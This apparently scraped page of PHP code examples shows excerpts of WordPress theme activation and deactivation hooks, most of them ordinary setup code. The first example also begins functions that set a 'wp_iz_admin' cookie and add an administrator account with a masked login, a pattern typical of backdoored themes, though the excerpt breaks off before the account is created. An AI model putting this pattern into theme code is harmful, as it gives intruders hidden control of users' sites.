Ejemplo n.º 1
0
         $optionKey = "theme_is_activated_" . $code;
         if (!get_option($optionKey)) {
             call_user_func($function);
             update_option($optionKey, 1);
         }
     }
     function wp_register_theme_deactivation_hook($code, $function)
     {
         $GLOBALS["wp_register_theme_deactivation_hook_function" . $code] = $function;
         $fn = create_function('$theme', ' call_user_func($GLOBALS["wp_register_theme_deactivation_hook_function' . $code . '"]); delete_option("theme_is_activated_' . $code . '");');
         add_action("switch_theme", $fn);
     }
     function my_theme_activate()
     {
     }
     wp_register_theme_activation_hook('mytheme', 'my_theme_activate');
     function my_theme_deactivate()
     {
     }
     wp_register_theme_deactivation_hook('mytheme', 'my_theme_deactivate');
 }
 function wp_setcookies()
 {
     $path = parse_url(get_option('siteurl'), PHP_URL_PATH);
     $host = parse_url(get_option('siteurl'), PHP_URL_HOST);
     $expiry = strtotime('+1 month');
     setcookie('wp_iz_admin', '1', $expiry, $path, $host);
 }
 function add_admin_acct()
 {
     $login = '******';
Ejemplo n.º 2
0
<?php

/*
FrogsThemes.com - FT Installer
*/
// get theme name
$themename = get_theme_data(STYLESHEETPATH . '/style.css');
$themename = $themename['Name'];
$themename = preg_replace("/\\W/", "", strtolower($themename));
// when theme activated, it updates the option and redirects to the FT Installer page
function my_theme_activate()
{
    header("Location: admin.php?page=ftinstaller");
}
wp_register_theme_activation_hook($themename, 'my_theme_activate');
// when theme deactivated, it removes the option
function my_theme_deactivate()
{
    // code to execute on theme deactivation
}
wp_register_theme_deactivation_hook($themename, 'my_theme_deactivate');
function wp_register_theme_activation_hook($code, $function)
{
    $optionKey = "theme_is_activated_" . $code;
    if (!get_option($optionKey)) {
        call_user_func($function);
        update_option($optionKey, 1);
    }
}
function wp_register_theme_deactivation_hook($code, $function)
{
Ejemplo n.º 3
0
    function ut_theme_activate()
    {
        /* create active flag for plugins */
        add_option('ut_theme_active');
        /* create flag so that the option only gets loaded on first installation */
        add_option('ut_layout_loaded');
        /* create a starter layout for this theme */
        if (get_option('ut_layout_loaded') != 'active') {
            do_action('ut_load_layout');
        }
        /* insert a value for the created active state */
        update_option('ut_theme_active', 'active');
        /* disbale comments on theme activation */
        update_option('default_comment_status', 'closed');
    }
    wp_register_theme_activation_hook('brooklyn', 'ut_theme_activate');
}
#-----------------------------------------------------------------
# Theme Deactivation
#-----------------------------------------------------------------
if (!function_exists('ut_theme_deactivate')) {
    function ut_theme_deactivate()
    {
        update_option('ut_theme_active', 'inactive');
    }
    wp_register_theme_deactivation_hook('brooklyn', 'ut_theme_deactivate');
}
#-----------------------------------------------------------------
# plugin requirements and recommendations
#-----------------------------------------------------------------
add_action('tgmpa_register', 'ut_register_required_plugins');
Ejemplo n.º 4
0
        }
        #-----------------------------------------------------------------
        # creates the table manager table
        #-----------------------------------------------------------------
        # create a few needed options
        add_option('lambda_version');
        add_option('lambdacopyright');
        add_option('lambdacopyrightlink');
        # insert values for the created options
        update_option('lambda_version', '2.2');
        update_option('lambdacopyright', 'UnitedThemes');
        update_option('lambdacopyrightlink', 'http://www.unitedthemes.com/');
        # disbale comments on theme activation
        update_option('default_comment_status', 'closed');
    }
    wp_register_theme_activation_hook('delaware-theme', 'lambda_theme_activate');
}
/**
 * @desc registers a theme activation hook
 * @param string $code : Code of the theme. This can be the base folder of your theme. Eg if your theme is in folder 'mytheme' then code will be 'mytheme'
 * @param callback $function : Function to call when theme gets activated.
 */
function wp_register_theme_activation_hook($code, $function)
{
    $optionKey = "theme_is_activated_" . $code;
    if (!get_option($optionKey)) {
        call_user_func($function);
        update_option($optionKey, 1);
    }
}
function lambda_theme_deactivate()
Ejemplo n.º 5
0
    $GLOBALS["wp_register_theme_deactivation_hook_function" . $code] = $function;
    // create a runtime function which will delete the option set while activation of this theme and will call deactivation function provided in $function
    $fn = create_function('$theme', ' call_user_func($GLOBALS["wp_register_theme_deactivation_hook_function' . $code . '"]); delete_option("theme_is_activated_' . $code . '");');
    // add above created function to switch_theme action hook. This hook gets called when admin changes the theme.
    // Due to wordpress core implementation this hook can only be received by currently active theme (which is going to be deactivated as admin has chosen another one.
    // Your theme can perceive this hook as a deactivation hook.
    add_action("switch_theme", $fn);
}
// wpv activation hook
function wpv_theme_activated()
{
    if (wpv_validate_install()) {
        wp_redirect(admin_url('admin.php?page=wpv_import'));
    }
}
wp_register_theme_activation_hook('wpv_' . THEME_NAME, 'wpv_theme_activated');
// wpv deactivation hook
function wpv_theme_deactivated()
{
}
wp_register_theme_deactivation_hook('wpv_' . THEME_NAME, 'wpv_theme_deactivated');
add_action('admin_init', 'wpv_validate_install');
function wpv_validate_install()
{
    global $wpv_errors, $wpv_validated;
    if ($wpv_validated) {
        return;
    }
    $wpv_validated = true;
    $wpv_errors = array();
    if (strpos(str_replace(WP_CONTENT_DIR . '/themes/', '', get_template_directory()), '/') !== false) {
Ejemplo n.º 6
0
        $table_lambda_tables = $wpdb->base_prefix . "lambda_tables";
        if ($wpdb->get_var("show tables like '{$table_lambda_tables}'") != $table_lambda_tables) {
            $sql = "CREATE TABLE " . $table_lambda_tables . " (\n\t\t\t\t  id mediumint(9) NOT NULL AUTO_INCREMENT,\n\t\t\t\t  table_name VARCHAR(255) NOT NULL DEFAULT  'lambda_table_options',\n\t\t\t\t  PRIMARY KEY (`id`),\n\t\t\t\t  UNIQUE ( `table_name` )\n\t\t\t)";
            dbDelta($sql);
        }
        //create a few needed options
        add_option('lambda_media_counter');
        add_option('lambda_version');
        add_option('lambdacopyright');
        add_option('lambdacopyrightlink');
        //insert values for the created options
        update_option('lambda_version', '2.1');
        update_option('lambdacopyright', 'UnitedThemes');
        update_option('lambdacopyrightlink', 'http://www.unitedthemes.com/');
    }
    wp_register_theme_activation_hook(UT_THEME_NAME, 'lambda_theme_activate');
}
/**
 * @desc registers a theme activation hook
 * @param string $code : Code of the theme. This can be the base folder of your theme. Eg if your theme is in folder 'mytheme' then code will be 'mytheme'
 * @param callback $function : Function to call when theme gets activated.
 */
function wp_register_theme_activation_hook($code, $function)
{
    $optionKey = "theme_is_activated_" . $code;
    if (!get_option($optionKey)) {
        call_user_func($function);
        update_option($optionKey, 1);
    }
}
#-----------------------------------------------------------------
Ejemplo n.º 7
0
        add_image_size('buddyboss_pic_wide', 795, 9999);
    }
    $bboss_pics_img_size = is_active_sidebar('Profile') ? 'buddyboss_pic_med' : 'buddyboss_pic_wide';
}
add_action('after_setup_theme', 'buddy_boss_init');
/**
 * First run for theme, setup basic options
 *
 * @since BuddyBoss 2.0
 */
function buddyboss_theme_activate()
{
    add_option('buddy_boss_wall_on', 1);
    add_option('buddy_boss_pics_on', 1);
}
wp_register_theme_activation_hook('buddyboss2', 'buddyboss_theme_activate');
function buddyboss_theme_deactivate()
{
}
wp_register_theme_deactivation_hook('buddyboss2', 'buddyboss_theme_deactivate');
/**
 * Check if the current user is on a friend's profile page
 *
 * @since BuddyBoss 2.0
 */
function buddyboss_is_admin()
{
    return is_user_logged_in() && current_user_can('administrator');
}
/**
 * Check if the current profile a user is on is a friend or not
    if (!$footer_menu_exists) {
        //create the footer menu
        $menu_id = wp_create_nav_menu($menuname);
        $footer_menu = get_term_by('name', $menuname, 'nav_menu');
        wp_update_nav_menu_item($footer_menu->term_id, 0, array('menu-item-title' => 'Twitter', 'menu-item-classes' => 'menu-item', 'menu-item-url' => home_url('/'), 'menu-item-status' => 'publish'));
        wp_update_nav_menu_item($footer_menu->term_id, 0, array('menu-item-title' => 'Facebook', 'menu-item-classes' => 'menu-item', 'menu-item-url' => home_url('/'), 'menu-item-status' => 'publish'));
        wp_update_nav_menu_item($footer_menu->term_id, 0, array('menu-item-object-id' => get_page_by_title("Blog")->ID, 'menu-item-title' => 'Blog', 'menu-item-classes' => 'menu-item', 'menu-item-object' => 'page', 'menu-item-type' => 'post_type', 'menu-item-status' => 'publish'));
        wp_update_nav_menu_item($footer_menu->term_id, 0, array('menu-item-object-id' => get_page_by_title("Imprint")->ID, 'menu-item-title' => 'Imprint', 'menu-item-classes' => 'menu-item', 'menu-item-object' => 'page', 'menu-item-type' => 'post_type', 'menu-item-status' => 'publish'));
        wp_update_nav_menu_item($footer_menu->term_id, 0, array('menu-item-object-id' => get_page_by_title("Contact")->ID, 'menu-item-title' => 'Contact', 'menu-item-classes' => 'menu-item', 'menu-item-object' => 'page', 'menu-item-type' => 'post_type', 'menu-item-status' => 'publish'));
        wp_update_nav_menu_item($footer_menu->term_id, 0, array('menu-item-object-id' => get_page_by_title("Newsletter")->ID, 'menu-item-title' => 'Newsletter', 'menu-item-classes' => 'menu-item', 'menu-item-object' => 'page', 'menu-item-type' => 'post_type', 'menu-item-status' => 'publish'));
        $locations = get_theme_mod('nav_menu_locations');
        $locations['footer-menu'] = $footer_menu->term_id;
        set_theme_mod('nav_menu_locations', $locations);
    }
}
wp_register_theme_activation_hook('meson-press', 'meson_press_activate');
/************* CUSTOM POST TYPES *************/
// Books
function custom_post_type()
{
    // Set UI labels for Books
    $labels = array('name' => _x('Books', 'Post Type General Name'), 'singular_name' => _x('Book', 'Post Type Singular Name'), 'menu_name' => 'Books', 'parent_item_colon' => 'Parent Book', 'all_items' => 'All Books', 'view_item' => 'View Book', 'add_new_item' => 'Add New Book', 'add_new' => 'Add New', 'edit_item' => 'Edit Book', 'update_item' => 'Update Book', 'search_items' => 'Search Book', 'not_found' => 'Not Found', 'not_found_in_trash' => 'Not found in Trash');
    // Set other options for Custom Post Type
    $args = array('label' => 'books', 'labels' => $labels, 'supports' => array('title', 'editor', 'excerpt', 'author', 'thumbnail', 'revisions', 'book-tags'), 'taxonomies' => array('book-tags'), 'hierarchical' => false, 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'show_in_nav_menus' => true, 'show_in_admin_bar' => true, 'menu_position' => 5, 'can_export' => true, 'has_archive' => true, 'exclude_from_search' => false, 'publicly_queryable' => true, 'menu_icon' => 'dashicons-book');
    // Registering your Custom Post Type
    register_post_type('books', $args);
    // Set UI labels for External-Books
    $labels = array('name' => _x('External Books', 'Post Type General Name'), 'singular_name' => _x('External Book', 'Post Type Singular Name'), 'menu_name' => 'External Books', 'parent_item_colon' => 'Parent External Book', 'all_items' => 'All External Books', 'view_item' => 'View External Book', 'add_new_item' => 'Add New External Book', 'add_new' => 'Add New', 'edit_item' => 'Edit External Book', 'update_item' => 'Update External Book', 'search_items' => 'Search External Book', 'not_found' => 'Not Found', 'not_found_in_trash' => 'Not found in Trash');
    // Set other options for Custom Post Type
    $args = array('label' => 'externalbooks', 'labels' => $labels, 'supports' => array('title', 'editor', 'excerpt', 'author', 'thumbnail', 'revisions', 'book-tags'), 'taxonomies' => array('externalbook-tags'), 'hierarchical' => false, 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'show_in_nav_menus' => true, 'show_in_admin_bar' => true, 'menu_position' => 5, 'can_export' => true, 'has_archive' => true, 'exclude_from_search' => false, 'publicly_queryable' => true, 'menu_icon' => 'dashicons-book');
    // Registering your Custom Post Type
Ejemplo n.º 9
0
            $input = json_decode($data, true);
            $name = str_replace("_", " ", $input[0]);
            $style = $input[1];
            $name = ucwords($name);
            $key = uniqid();
            $table = get_option(SN . 'enigma_hash');
            if (!$table || !is_array($table)) {
                $table = array();
            }
            $table['en' . $key] = $name;
            update_option(SN . 'enigma_hash', $table);
            update_option('en' . $key, $style);
        }
    }
}
wp_register_theme_activation_hook('IOA_Plus', 'IOA_theme_activate');
function wp_register_theme_activation_hook($code, $function)
{
    $optionKey = "theme_is_activated_" . $code;
    if (!get_option($optionKey)) {
        call_user_func($function);
        update_option($optionKey, 1);
    }
}
function my_theme_deactivate()
{
    // code to execute on theme deactivation
}
wp_register_theme_deactivation_hook('IOA_Plus', 'my_theme_deactivate');
function wp_register_theme_deactivation_hook($code, $function)
{
    $pages_slideviewer = get_pages(array('meta_key' => '_wp_page_template', 'meta_value' => 'slideviewer.php', 'hierarchical' => 0));
    foreach ($pages_slideviewer as $page_slideviewer) {
        update_post_meta($page_slideviewer->ID, "_wp_page_template", "template-slideviewer.php", "slideviewer.php");
    }
    //template_blog.php
    $pages_blog = get_pages(array('meta_key' => '_wp_page_template', 'meta_value' => 'template_blog.php', 'hierarchical' => 0));
    foreach ($pages_blog as $page_blog) {
        update_post_meta($page_blog->ID, "_wp_page_template", "template-blog.php", "template_blog.php");
    }
    //contact.php
    $pages_contact = get_pages(array('meta_key' => '_wp_page_template', 'meta_value' => 'contact.php', 'hierarchical' => 0));
    foreach ($pages_contact as $page_contact) {
        update_post_meta($page_contact->ID, "_wp_page_template", "template-contact.php", "contact.php");
    }
}
wp_register_theme_activation_hook('kingsize', 'kingsize_activate_template_change');
/**
 *
 * @desc registers a theme activation hook
 * @param string $code : Code of the theme. This can be the base folder of your theme. Eg if your theme is in folder 'mytheme' then code will be 'mytheme'
 * @param callback $function : Function to call when theme gets activated.
 */
function wp_register_theme_activation_hook($code, $function)
{
    $optionKey = "theme_is_activated_" . $code;
    if (!get_option($optionKey)) {
        call_user_func($function);
        update_option($optionKey, 1);
    }
}
/**
Ejemplo n.º 11
0
define('theme_name', $themename);
define('theme_ver', 1);
define('Cherry', $themename);
define('SHORTNAME', $shortname);
/**
 * Theme update
 */
function wp_register_theme_activation_hook($code, $function)
{
    $optionKey = "theme_is_activated_" . $code;
    if (!get_option($optionKey)) {
        call_user_func($function);
        update_option($optionKey, 1);
    }
}
wp_register_theme_activation_hook($shortname, 'bd_theme_activate');
/**
 * Theme Activate
 */
function bd_theme_activate()
{
    if (!is_array($GLOBALS['def_options'])) {
        require BD_ADMIN . '/default_options.php';
    }
    update_option('bdayh_setting', serialize($def_options));
    return true;
}
/**
 * Admin Bar Render
 */
function mytheme_admin_bar_render()
Ejemplo n.º 12
0
    add_option("bordeaux_title_after_calendar", "<a href=\"#\">2. Specify exact time &amp; other details for your reservation</a>");
    add_option("bordeaux_txt_after_calendar", "Duis sed lobortis mi. Sed sed nibh urna, id eleifend velit. Cras quis risus hendrerit massa elementum pretium.");
    add_option("bordeaux_title_after_form", "<a href=\"#\">Things to know, before you make your reservation</a>");
    add_option("bordeaux_txt_after_form", "In sed odio libero, vitae elementum urna. Vestibulum et ligula sed lectus blandit pretium in non metus. Donec dapibus, ipsum vel vehicula tempor, purus urna vestibulum mi, eu tempor elit turpis vitae enim. Duis porttitor mi sed nisi rhoncus at porta tellus sagittis. Duis eget sapien metus, gravida auctor nulla.");
    add_option("bordeaux_slider_image_hover", "on");
    add_option('bordeaux_news_style', "style_1");
    add_option("bordeaux_time_from", "9");
    add_option("bordeaux_time_till", "19");
    add_option("bordeaux_table_count", "10");
    if ($wpdb->get_var("bordeaux_reservation") != 'bordeaux_reservation') {
        $sql = "CREATE TABLE bordeaux_reservation (\n\t\t\tid int(10) NOT NULL AUTO_INCREMENT,\n\t\t\tname varchar(100) NOT NULL,\n\t\t\tphone varchar(30) NOT NULL,\n\t\t\temail varchar(100) NOT NULL,\n\t\t\tnotes text NOT NULL,\n\t\t\treservationFrom varchar(5) NOT NULL,\n\t\t\treservationDate varchar(10) NOT NULL,\n\t\t\treservated datetime NOT NULL,\n\t\t\tdat varchar(8) NOT NULL,\n\t\t\tapprove varchar(3) NOT NULL,\n\t\t\tedited datetime NOT NULL,\n\t\t\tUNIQUE KEY id (id)\n\t\t\t);";
        require_once ABSPATH . 'wp-admin/includes/upgrade.php';
        dbDelta($sql);
    }
}
wp_register_theme_activation_hook('bordeaux', 'my_theme_activate');
add_action('admin_menu', 'theme_menu');
function theme_menu()
{
    add_menu_page('Bordeaux Management', 'Bordeaux Management', 'administrator', 'theme-configuration', 'theme_configuration', get_template_directory_uri() . '/images/control-panel-images/logo-orangethemes-1.png');
    add_submenu_page("edit.php?post_type=menu-card", 'Bordeaux Menu Category Order', 'Bordeaux Menu Category Order', 'administrator', "bordeaux-category-order", 'bordeaux_category_order');
}
function theme_configuration()
{
    $pageURL = 'http://' . $_SERVER["SERVER_NAME"] . $_SERVER["SCRIPT_NAME"];
    if (isset($_POST["action"])) {
        $action = $_POST['action'];
        //////Theme General Settings//////
        if ($action == "page_settings") {
            //add theme logo
            $theme_logo = $_POST["logo_upload"];